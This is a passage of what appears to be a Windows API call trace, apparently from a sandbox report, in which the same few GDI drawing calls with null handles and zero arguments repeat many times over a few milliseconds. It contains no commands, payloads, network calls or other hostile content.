StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.046] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.046] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.046] GradientFill () returned 0x0 [0030.046] BeginPath (hdc=0x0) returned 0 [0030.046] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.047] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.047] GradientFill () returned 0x0 [0030.047] BeginPath (hdc=0x0) returned 0 [0030.047] FillPath (hdc=0x0) returned 0 [0030.047] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.048] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.048] GradientFill () returned 0x0 [0030.048] BeginPath (hdc=0x0) returned 0 [0030.048] FillPath (hdc=0x0) returned 0 [0030.048] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.049] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.049] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.049] GradientFill () returned 0x0 [0030.049] BeginPath (hdc=0x0) returned 0 [0030.049] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.050] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.050] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.050] GradientFill () returned 0x0 [0030.050] BeginPath (hdc=0x0) returned 0 [0030.050] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 